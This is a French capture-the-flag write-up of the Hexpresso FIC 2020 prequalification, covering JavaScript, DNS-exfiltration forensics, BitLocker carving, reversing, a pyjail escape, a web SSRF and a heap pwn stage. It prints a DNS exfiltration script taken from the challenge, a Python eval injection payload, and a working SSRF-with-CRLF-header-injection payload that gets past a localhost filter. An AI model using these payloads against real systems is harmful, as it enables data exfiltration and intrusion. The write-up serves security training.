Préqualifications du “Capture the F.I.C.” : Follow the white rabbit

7 étapes, composées de challenges de catégories très différentes et variées, avec une montée en difficulté en général, nous rapprochent de plus en plus de la qualification.

Malheureusement, nous ne sommes arrivés à réussir que les six premières étapes.

En résumé :

  1. JS/Programmation (très rapide)
  2. Réseau/forensic : reverse d’un script d’exfiltration DNS depuis une capture réseau
  3. Forensic : fichier inconnu qui est un MBR avec une partition chiffrées avec BitLocker, la partition une fois déchiffrée contient des données supprimées/désindexées à retrouver)
  4. Reverse d’un binaire avec une petite particularité dans l’assembleur (une décompilation ne suffit pas pour comprendre le programme intégralement et reverse pour flagger)
  5. Pyjail (bypass de la jail puis récupération efficace du flag qui est ds une variable d’environnement créée et ensuite supprimée ds le programme de la pyjail)
  6. Web (SSRF + CRLF)
  7. Pwn (heap, UAF avec PIE, difficulté de leaks …)

Step 1 - Hexpresso FIC CTF 2020 Prequalification

Créateur : SaxX

Tl;dr : JS, programmation, reverse basiques; challenge de rapidité

solveur : AK, suivi de près par T0t0r0 ;p

On arrive sur le premier lien.

Enoncé :

Play

La première étape correspond à une page web qui demande à l’utilisateur de renseigner un flag qui sera ensuite vérifier par un script JavaScript. Ce script se trouve dans le code source de la page :

const play = () => {
  var game = new Array(116, 228, 203, 270, 334, 382, 354, 417, 485, 548, 586, 673, 658, 761, 801, 797, 788, 850, 879, 894, 959, 1059, 1071, 1140, 1207, 1226, 1258, 1305, 1376, 1385, 1431, 1515);

  const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
  const flag = document.getElementById("flag").value;

  for (i = 0; i < u_u.length; i++) {
    if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
      alert("NOPE");
      return;
    }
  }

  // Good j0b
  alert("WELL DONE!");

  document.location.replace(
    document.location.protocol +
      "//" +
      document.location.hostname +
      "/" +
      flag
  );
};

/**
 ** Thanks all <3
 ** @HexpressoCTF
 **
 ** The next step is here : https://ctf.hexpresso.fr/{p_p}
 **/

La fonction play vérifie pour chaque caractère de l’entrée si la condition suivante est vérifiée :

u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 == game[i]

Si elle n’est pas vérifiée, alors le flag est incorrect. Ce qui revient à l’équation suivante :

flag.charCodeAt(i) == game[i] - u_u.charCodeAt(i) - i * 42

On peut alors écrire le script python suivant qui calcule le flag à partir des éléments connus game et u_u :

game = [116, 228, 203, 270, 334, 382, 354, 417, 485, 548, 586, 673, 658, 761, 801, 797, 788, 850, 879, 894, 959, 1059, 1071, 1140, 1207, 1226, 1258, 1305, 1376, 1385, 1431, 1515]

u_u = "CTF.By.HexpressoCTF.By.Hexpresso"

flag = ''
for i in range(len(game)):
    flag += chr(game[i] - ord(u_u[i]) - i * 42)

print(flag)

Le flag est donc 1f1bd383026a5db8145258efb869c48f.

Step 2 - “Old EXFIL but Gold”

Créateur : Mitsurugi

Tl;dr : réseau, exfiltration DNS avec un script à “reverser”

solveur : T0t0r0

Pour information, je laisse mes scripts tels qu’ils étaient lors de la dernière réalisation.

On arrive sur le second lien.

Enoncé :

Nous soupçonnons une exfiltration de données. 
Nous avons capturé des données réseaux, à vous d'extraire le lien pour la prochaine étape !

On a un lien vers un pcap.

On l’ouvre avec Wireshark. On regarde les statistiques (Statistics > Protocol Hierarchy) ou tout simplement les différentes paquets et on remarque qu’il y a énormément de requêtes DNS dont de nombreux enregistrements d’adresse A avec des sous-domaines hexadécimaux plus qu’étranges …
On remarque une requête HTTP, on voit le nom d’un document qui apparaît être un script python (dnstunnel.py), on l’exporte au cas où, il pourra peut-être servir plus tard.

On nous parle d’exfiltration dans l’énoncé, on voit des strings hexadécimales en sous-domaines dans des requêtes DNS, (de type hex_string.local.tux) on pense donc naturellement à une exfiltration DNS.

Extraction du script et des données exfiltrées depuis le pcap

On récupère donc toutes ces hex strings grâce au petit script suivant, merci à scapy :


    from scapy.all import rdpcap, DNSQR, DNSRR
    
    data=""
    for p in rdpcap("cb52ae4d15503c598f0bb42b8af1ce51.pcap"):
            if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
    
                if "local.tux" in p[DNSQR].qname :
                    fragment = p[DNSQR].qname.replace('local.tux', '')[:-2]
                    print(fragment)    
                    data += fragment
    
    open('exfiltrated_data.txt', 'w').write(data) 

On a en sortie la concaténation de toutes ces hex strings. Cependant, les strings n’ont rien de particulières une fois décodées en ASCII ou en essayant de voir s’il y a des hashes. Avec xxd -r -p on crée le fichier binaire associé mais file ne trouve aucun magic number et nous retourne simplement que c’est de la data.pour lui :( .

Intéressons-nous donc maintenant au fichier extrait, à savoir dnstunnel.py :

#! /usr/bin/python3
# I have no idea of what I'm doing

#Because why not!
import random
import os

f = open('data.txt','rb')
data = f.read()
f.close()

print("[+] Sending %d bytes of data" % len(data))

#This is propa codaz
print("[+] Cut in pieces ... ")

def encrypt(l):
    #High quality cryptographer!
    key = random.randint(13,254)
    output = hex(key)[2:].zfill(2)
    for i in range(len(l)):
        aes = ord(l[i]) ^ key
        #my computer teacher hates me
        output += hex(aes)[2:].zfill(2)
    return output

def udp_secure_tunneling(my_secure_data):
    #Gee, I'm so bad at coding
    #if 0:
    mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
    os.system(mycmd)
    #We loose packet sometimes?
    os.system("sleep 1")
    #end if

def send_data(s):
    #because I love globals
    global n
    n = n+1
    length = random.randint(4,11)
    # If we send more bytes we can recover if we loose some packets?
    redundancy = random.randint(2,16)
    chunk = data[s:s+length+redundancy].decode("utf-8")
    chunk = "%04d%s"%(s,chunk)
    print("%04d packet --> %s.local.tux" % (n,chunk))
    blob = encrypt(chunk)
    udp_secure_tunneling(blob)
    return s + length

cursor = 0
n=0
while cursor<len(data):
    cursor = send_data(cursor)

#Is it ok?

Résumé du script :
En entrée on a les données data du fichier data.txt qui a priori nous intéresse.
La fonction principale est send_data qui va envoyer au fur et à mesure des bouts successifs ordonnés de data avec une certaine redondance (on verra après qu’il suffit de supprimer quelques données lors d’un post-traitement) en UDP (fonction udp_secure_tunneling). MAIS ces données (avec la redondance) sont chiffrées via encrypt (et on s’affole ! … ou pas en fait).

On va donc récupérer data.txt grâce à deux opérations :

Déchiffrement des données redondées

En cryptographie, on dit souvent que le secret c’est la clé, tout le reste on s’en fiche. Du coup en lisant le code, on se rend vite compte que chaque chunk de données chiffré contient au début la clé. Cela nous facilite le travail, sachant qu’en plus le chiffrement en lui-même est un simple xor entre chaque élément des données non chiffrées et la clé que l’on retrouve donc au début du chiffré.

En gros, pour faire dans le visuel et en simplifiant un peu : enc(data) = key|data[0]^key|data[1]^key|... et donc pour le déchiffrement on récupère la clé key et on effectue un xor entre chaque élément de la donnée chiffrée et key ((data[i] ^ key) ^key = data[i] \o/).

def decrypt(l):
        key = int(l[:2],16)
        encrypt=l[2:]
        decrypt = ""
        while not (encrypt==""):
                todecrypt = encrypt[:2]
                encrypt = encrypt[2:]
                todecrypt = int(todecrypt,16)
                decrypt += chr(key ^todecrypt)
        return decrypt

with open("newline","r") as f:
    lines = f.readlines()

lines = [line[:-1] for line in lines]
for line in lines:
        print decrypt(line)

On se retrouve avec le fichier assez moche suivant :

    0000Congratulations!! Y
    0011ions!! You did it so f
    0020u did it so far!
    
    Here is 
    0030o far!
    
    Here is t
    0039ere is the link 
    0049 link in bas
    0059ase32 for
    0064 form:
    NB2HI4DTHIX
    0071NB2HI4DTHIXS6Y3UMYXGQ
    0077DTHIXS6Y3UMYXGQZLY
    0081XS6Y3UMYXGQZLY
    00853UMYXGQZLY
    0092ZLYOBZG
    0097ZGK43TN4XGM4
    0103N4XGM4RPGU3TSODDME2DO
    0112U3TSODDME2DOZDBMNSTKY
    0122DOZDBMNSTKYZVMU3G
    0127MNSTKYZVMU3GIMZVGI4T
    MOJ
    01373GIMZVGI4T
    MOJQM
    0141ZVGI4T
    MOJQMM4DMMZTG42QU==
    0152MM4DMMZTG42QU===
    0159TG42QU===
    
     _    
    0163QU===
#puis garbage ascii art

Nettoyage des données et décodage

On nettoie ce fichier en enlevant les sortes d’en-têtes et la redondance en recollant au bon endroit, on obtient une string dans une certaine base : NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4TMOJQMM4DMMZTG42QU===.

Vu le padding ce n’est pas de la base64, vu la (faible) variété des caractères, on essaie la base32 avecbase32 -d base.txt.
Et on a le lien pour l’étape suivante.

Step 3 - Do your Forensic ANALyst job

Créateur : chaignc

Tl;dr : forensic, fichier inconnu, déchiffrement BitLocker et carving

solveur : T0t0r0

On a donc un nouveau lien.

Enoncé :

We found this USB key in the pocket of a criminal, are you able to analyze it and find his secret.

Initial foothold

On récupère un fichier inconnu de 100 Mo 76b0c868ab7397cc6a0c0a1e107e3079.raw.
On investigue comme d’habitude :

root@kali:~/hexpresso/3# file 76b0c868ab7397cc6a0c0a1e107e3079.raw 
76b0c868ab7397cc6a0c0a1e107e3079.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x47e6da9e; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0xc5,3,19), startsector 128, 198656 sectors
root@kali:~/hexpresso/3# fdisk -l 76b0c868ab7397cc6a0c0a1e107e3079.raw 
Disk 76b0c868ab7397cc6a0c0a1e107e3079.raw: 100 MiB, 104857600 bytes, 204800 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x47e6da9e

Device                                Boot Start    End Sectors Size Id Type
76b0c868ab7397cc6a0c0a1e107e3079.raw1        128 198783  198656  97M  7 HPFS/NTF

Qu’est-ce donc que ce “HPFS/NTF” présent dans ce MBR ? On essaie de le monter sur notre VM juste pour voir :

mount -o loop,offset=$((128*512)) 76b0c868ab7397cc6a0c0a1e107e3079.raw res/ 
   mount: /root/hexpresso/3/res: unknown filesystem type 'BitLocker'

Ah, la partition est donc a priori chiffrée avec BitLocker. On vérifie rapidement si cela a un sens :

hexdump -C -s $((512*128)) -n 16 76b0c868ab7397cc6a0c0a1e107e3079.raw | grep -i fve

00010000  eb 58 90 2d 46 56 45 2d  46 53 2d 00 02 08 00 00  |.X.-FVE-FS-.....|

On a la bonne magic string.

bdeinfo -o 65536 76b0c868ab7397cc6a0c0a1e107e3079.raw 
    bdeinfo 20190102
        
        BitLocker Drive Encryption information:
            Encryption method        : AES-CBC 128-bit with Diffuser
            Volume identifier        : 51fcbae5-da67-49f6-b6f8-5d8abc60dc44
            Creation time            : Dec 02, 2019 21:26:53.504000000 UTC
            Description            : JOHN-PC New Volume 12/2/2019
            Number of key protectors    : 2
        
        Key protector 0:
            Identifier            : fda65ba6-0a73-44a2-beea-07144123fe67
            Type                : Password
        
        Key protector 1:
            Identifier            : 1c6a101d-5171-470a-87ad-6cc388da43da
            Type                : Recovery password

Bon, la magic string nous le confirme et bdeinfo encore plus, on a bien à faire à du BitLocker. On doit donc trouver une clé de déchiffrement ou un mot de passe.

BitLocker

Ayant plus rencontré des challenges où on a un MBR et un dump compréhensible par volatility, j’ai l’habitude de chercher une clé. Cherchons donc une clé AES ou assimilée : j’ai essayé bulk_extractor, aes-finder, aeskeyfind, mais rien n’a marché … :(

On se tourne donc vers l’autre idée : le password. On trouve un utilitaire sympathique pour monter avec un password, dislocker puis un utilitaire qui peut marcher avec une wordlist : dislocker-dict. On trouve alors aisément que le password est … tout simplement password -_-. Bon du coup on monte cela et on obtient un fichier bde1 dans bitlocker_mnt et on monte ce dernier :

bdemount -p password -o $((128*512)) 76b0c868ab7397cc6a0c0a1e107e3079.raw bitlocker_mnt/
file bitlocker_mnt/bde1 
bitlocker_mnt/bde1: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 16, hidden sectors 128, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 198655, $MFT start cluster 8277, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 08618333c18332a97; contains bootstrap BOOTMGR
root@kali:~/hexpresso/3# mkdir bitlocker_test
root@kali:~/hexpresso/3# mount -t auto bitlocker_mnt/bde1 bitlocker_test/

Carving

On trouve un fichier flag.txt mais rien d’intéressant à part du troll de chaignc. Bon, on va vérifier que certains fichiers n’ont pas été supprimés ou plutôt désindexés mais encore présents dans bde1. On carve avec foremost (ici ça va, ça suffit, les puristes diront que c’est de la triche ; on aurait pu utiliser binwalk -e ou encore regarder avec un éditeur hexadécimal et faire des dd mais passons) qui nous trouve un zip qu’il met dans les répertoires créés output/zip :

root@kali:~/hexpresso/3/output/zip# unzip 00066346.zip
 Archive: 00066346.zip inflating: fic.txt  
root@kali:~/hexpresso/3/output/zip# cat fic.txt
https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411

Et sur le gist on trouve un bout de code appelé flag contenant le lien en base64 de l’étape suivante.

Step 4 - Wannacry is f*cking back

Créateur : Notfound

Tl;dr : reverse, il faut bien lire l’assembleur

solveur : AK

L’archive contient un binaire ELF 64-bit wannafic qui permet de chiffrer un fichier et un fichier flag.txt.crypt qui contient le flag chiffré.

En analysant le binaire à l’aide d’Ida, on obtient le pseudocode suivant :

unsigned __int64 __fastcall encrypt(FILE *file_stream, const char *filename, __int64 seed)
{
  char r; // ST23_1
  char c; // [rsp+22h] [rbp-11Eh]
  int i; // [rsp+24h] [rbp-11Ch]
  FILE *stream; // [rsp+28h] [rbp-118h]
  char s[8]; // [rsp+30h] [rbp-110h]
  // ...

  *(_QWORD *)s = 0LL;
  // ...
  srand(seed);
  printf("[*] ts : %d\n", seed);
  snprintf(s, 0x100uLL, "%s.crypt", filename);
  printf("[*] Writing to %s\n", s);
  stream = fopen(s, "w");
  if ( !stream )
    print("[!] Unable to open file.\n");
  for ( i = strlen(filename); ; fputc((char)(r ^ c ^ filename[r % i]), stream) )
  {
    c = fgetc(file_stream);
    if ( c == -1 )
      break;
    r = rand();
  }
  fclose(stream);
  printf("[*] Done !\n\n", s);
  return 0;
}
int __fastcall encrypt_0(const char *filename)
{
  __int64 seed; // rax
  FILE *stream; // [rsp+18h] [rbp-8h]

  printf("[*] Encrypting %s\n", filename);
  stream = fopen(filename, "r");
  if ( !stream )
    print("[!] Unable to open file.\n");
  seed = time(0LL);
  encrypt(stream, filename, seed);
  return fclose(stream);
}

__int64 main(signed int argc, char **argv, char **env)
{
  signed int i; // [rsp+1Ch] [rbp-4h]

  if ( argc <= 1 )
    print("Usage: ./wannafic <file> ...\n");
  puts(s);
  for ( i = 1; i < argc; ++i )
    encrypt_0(argv[i]);
  return 0LL;
}

On voit que chaque octet du fichier que l’on veut chiffrer est remplacé par r ^ c ^ filename[r % i] où r est un entier aléatoire.

Pour pouvoir déchiffrer le fichier, nous avons donc besoin de connaître le seed utilisé. Il suffit de regarder la date de création du fichier flag.txt.crypt.

$ ls -l flag.txt.crypt 
-rw-r--r-- 1 ak ak 2912 Dec 12 13:37 flag.txt.crypt
$ date +'%D %T -> %s' -d '2019-12-12 13:37:00'
12/12/19 13:37:00 -> 1576154220
$ date +'%D %T -> %s' -d '2019-12-12 13:38:00'
12/12/19 13:38:00 -> 1576154280

Le seed est donc entre 1576154220 et 1576154280.

A la suite de cela, nous avons écrit une fonction en C permettant de déchiffrer le fichier et nous l’avons appliqué sur les timestamps calculés ci-dessus à l’aide d’un script Python.

#include <stdio.h> 
#include <time.h> 
#include <string.h>
#include <errno.h>
#include <stdlib.h>

int main (int argc, char **argv) 
{ 
    if(argc != 4){
        printf("[-] Usage : %s <file> <timestamp> <output_file>\n",argv[0]);
        return -1;
    }
    FILE *fp;
    fp = fopen (argv[1],"r");
    if (fp == NULL) {
        printf ("[-] Unable to open file %s.\n", argv[1]);
        return 1;
    }
    
    int timestamp = atoi(argv[2]);
    printf("[-] Decrypting '%s' with timestamp %d\n",argv[1],timestamp);
    srand(timestamp);
    FILE *fo;
    fo = fopen(argv[3],"w");
    if (fo == NULL) {
        printf ("[-] Unable to open file %s.\n", argv[3]);
        return 1;
    }
    
    int c;
    int i=strlen(argv[3]);
    int key;
    while ((c = fgetc(fp)) != EOF)
    {
        key = rand() % 0xff;
        fputc(c ^ key ^ argv[3][key % i], fo);
    }
    fclose (fp);
    fclose (fo);
    return(0); 
} 
import os

for i in range(1576154220, 1576154280):
    os.system('./decoder flag.txt.crypt {} flag.txt'.format(i))
    print(i,os.popen('file flag.txt').read())

Cependant, aucun fichier déchiffré ne contient le flag. Le timestamp qui donne le meilleur résultat, c’est-à-dire qui contient le plus de caractères lisible, est 1576154262.

Nous avons ensuite tenté de debugger le binaire pour comprendre en profondeur comment il fonctionne.

Analyse dynamique

L’analyse dynamique nous montre que parfois key % i peut donner un nombre négatif, ce qui fausse complètement le déchiffrement. Nous avons donc pensé à patcher le binaire à la volée pour l’utiliser de nouveau pour le déchiffrement.

L’idée est que le chiffrement est symétrique, le chiffrement et le déchiffrement peut se faire avec la même fonction. On peut alors simplement réutiliser le binaire pour déchiffrer mais avec le bon seed.

Tout d’abord, nous avons break sur time(0) pour modifier sa valeur de retour et mettre 1576154262 à la place. Ensuite, nous avons changé le nom de fichier flag.txt.crypt en flag.txt puisqu’il est utilisé dans le calcul. Le binaire arrête normalement de chiffrer lorsqu’il voit 0xff et 0xff apparaît plusieurs fois dans le fichier flag.txt.crypt. Nous avons dû alors changé la valeur du registre EIP plusieurs fois lorsqu’il rencontre 0xff pour que le déchiffrement continue. Et ainsi nous avons obtenu le fichier flag.txt :

#ASCII art
Well done buddy !!!!
Next step : https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215

URL

https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215

Step 5 - PYJAIL 4 FUN

Créateur : BitK

Tl;dr : Pyjail bypass pour un shell puis récupération d’un flag volatile

solveur : Bdenneu

Enoncé

img1

En nous connectant avec la méthode donnée, on nous demande une entrée qui a l’air comparée avec le flag. Si on a pas le bon, on nous affiche Bad flag!

img2

En premier reflexe, on essaye les ’ et les ":

img3

Le champs est donc injectable. On essaye alors de récupérer un shell est le code source:

img4

#!/usr/bin/env python
import os

SUCCESS = "Good flag !"
FAIL = "Bad flag !"


def get_flag():
    flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
    os.environ.update({"FLAG": ""})
    return flag


def get_input():
    return eval(f"""'{input(">")}'""")


def main():
    flag = get_flag()

    if flag == get_input():
        print(SUCCESS)
    else:
        print(FAIL)


if __name__ == "__main__":
    main()

La fonction get_flag() nous apprend qu’obtenir un shell ne sert à rien vu que la variable d’environnement est supprimée instantanément.
Notre problème ici, est que le flag n’est défini que localement dans get_flag et dans main. Nous n’y avons pas accès dans get_input():

Les échecs

	*Ma première idée a été d'essayer une race condition sur la machine en récupérant les variables d'environnement depuis un terminal, et en me connectant de l'autre.

	*Ensuite, j'ai tenté de réecrire la fonction print qui est exécuté après la comparaison grâce à la fonction exec, en vain car étant définie dans get_input, elle n'a pas accès au variable de main.

img5

La contre-mesure

J’ai pensé à une technique utilisée dans certaine pyjail qui est de crée une nouvelle classe avec des méthodes adaptée à la situation. Il lui faut afficher l’autre élément lorsqu’il est comparé, et rester elle même quand on l’ajoute à une chaine de caractère:

type('laMegaClasse',(),{'__eq__': lambda self,other:print(other),'__add__': lambda self,other:self,'__radd__': lambda self,other:self})()

img6

Le flag

Next step : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr

Step 6 - CHALLENGE by Hexpresso

Créateur : Sakiir

Tl;dr : web, SSRF avec quelques contournements (triviaux + CRLF)

solveur : T0t0r0

On a donc un nouveau lien.

Enoncé :

Welcome to the host fetcher !

Initial foothold

On tombe sur une page où on peut lancer une requête sur un FQDN grâce à un input utilisateur/champ texte (on peut le faire comme ça via navigateur ou via curl en appelant l’URL suivie de /host?host=PARAM_USER) et voir dans la frame en-dessous le résultat.
En regardant le code (Ctrl-u), on remarque <div class="col s12"> <!-- <span>PS: To get your flag go here: <a href="/secret">/secret</a></span> --> </div>
Bien évidement quand on essaie directement ça ne marche pas, on a une erreur en JSON avec notamment le message"You have to come from 127.0.0.1 not 172.20.0.1 :)", et quand on essaie via l’input utilisateur non plus, on a des erreurs … Que faire ?

Alors on peut tenter les en-têtes Referer, X-Forwarded-For, ça ne passe pas …

Localhost et Bypass triviaux

On suppose que la machine va lancer la requête en interne chez elle, on a donc essayé d’afficher localhost dans l’optique d’exploiter une SSRF triviale, ce qui a marché en mettant une autre adresse que localhost ou 127.0.0.1 (si on met ça on a le droit à un joli This host is not allowed ;)) mais équivalente car il y a sûrement un check mais en dur. Alors étant un gros flemmard, bah j’ai rajouté un 0 pour avoir au final 127.0.00.1 ce qui bypasse le check.

Donc voilà, on peut voir localhost, on est, pendant quelques femtosecondes, content. Maintenant, on aimerait quand même voir localhost/secret, mais quand on essaie d’ajouter le /secret à la payload d’avant, bah on a (encore) des erreurs.
En regardant l’output suite à notre demande, on voit un 404 page not found ce qui est très étrange vu qu’on nous disait d’aller là-dessus o_O.

En fait (on ne le voit plus dans la version actuelle du challenge mais on le voyait avant dans les erreurs lors de la semaine de qualification), après notre input, côté serveur sera rajouté un “:80”. On va donc mettre un # ou %23 pour bypasser cela.

Maintenant on a un nouveau message {"ok":false,"message":"Missing GOSESSION ... You are not connected... get away !","flag":""}. Il faut donc qu’on ajoute un cookie.

Contournements finaux (CRLF + réflexions (boucle infinie))

On trouve ce cookie dès l’arrivée sur la page du challenge. J’ai essayé de faire sorte que l’on croit à une requête HTTP côté serveur en utilisant les CRLF/\r\n %0D%0A, en oubliant pas le HTTP.
J’ai essayé quelques payloads en utilisant quelques petits tricks, par exemple 127.00.0.1/secret%20HTTP/1.1%0D%0ACookie: GOSESSION=guest-go1.11.5# en ajoutant bien le HTTP/1.1, en utilisant l’encodage des URLs, en essayant de bypasser le :80 (#, ajout d’un champ mais pas de la valeur,…) mais sans succès.

Bon, ça ne marchait pas, je me suis dit que je m’étais complètement ou en partie planté. J’ai laissé quelques jours passer, flagge quelques challs du Santhacklaus et sur root-me dont HTTP splitting/smuggling qui me semblait pouvoir être intéressant pour le challenge présent. J’ai remarqué qu’on pouvait faire des boucles en appelant à chaque fois dans le champ host localhost puis en remettant le paramètre GET host.

Bon finalement à tête reposée, en faisant le lien, j’ai trouvé 127.00.0.1/host?host=127.0.00.1/secret?%20HTTP/1.1%0D%0ACookie:%20GOSESSION=guest-go1.11.5 qui marchait \o/ (et qui doit donc bypasser le problème que je devais avoir avec le :80.

Et voilà on a enfin notre précieux message : echo"eyJvayI6dHJ1ZSwibWVzc2FnZSI6Ik9rIGhlcmUgaXMgeW91ciBmbGFnIC4uLiIsImZsYWciOiJHZyAhIFNlbmQgbWFpbCBoZXJlIDljYTM3ODMyYjlmYjgwLXBlbnVsdGltYXRlLXN0YWdlQGhleHByZXNzby5mciAhIEJ1dCB0aGVyZSBpcyBvbmUgbGFzdCBzdGVwIGhlcmUgZm9yIHRoZSBicmF2ZSBhdmFpbGFibGUgb24gOiBodHRwczovL2N0Zi5oZXhwcmVzc28uZnIvMjE5MDU4Mjg5ZDg2OTlhZGMwYjExOTM3NGMyZmM1YmMifQ=" | base64 -d {"ok":true,"message":"Ok here is your flag ...","flag":"Gg ! Send mail here 9ca37832b9fb80-penultimate-stage@hexpresso.fr ! But there is one last step here for the brave available on : https://ctf.hexpresso.fr/219058289d8699adc0b119374c2fc5bc%22%7D

FINAL STEP (step7) - PWN me I’m famous

Créateur : chaignc

Lien : https://ctf.hexpresso.fr/219058289d8699adc0b119374c2fc5bc
Non faite, ou plutôt non finie
####Enoncé:

Courage, this is the last task!

💥 nc ctf.hexpresso.fr 4242 💥  
[Protected files : crack it easily!](https://ctf.hexpresso.fr/8e23eca76cbfdb90988a5b92577c147c.zip)

Liée à la heap, UAF avec PIE, problèmes pour leaker …

 checksec heapme
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

En gros, on crée un premier élément à l’index 0 on crée un 2e élément à l’index 1 on écrit dans le 1er élément jusqu’à écraser l’élément 2 on appelle ensuite la fonction read de l’élément 2 qui sera réécrite pour exécuter ce qu’on veut.

Premiers schémas des tests :

enter image description here
enter image description here

Schéma plus complet :
enter image description here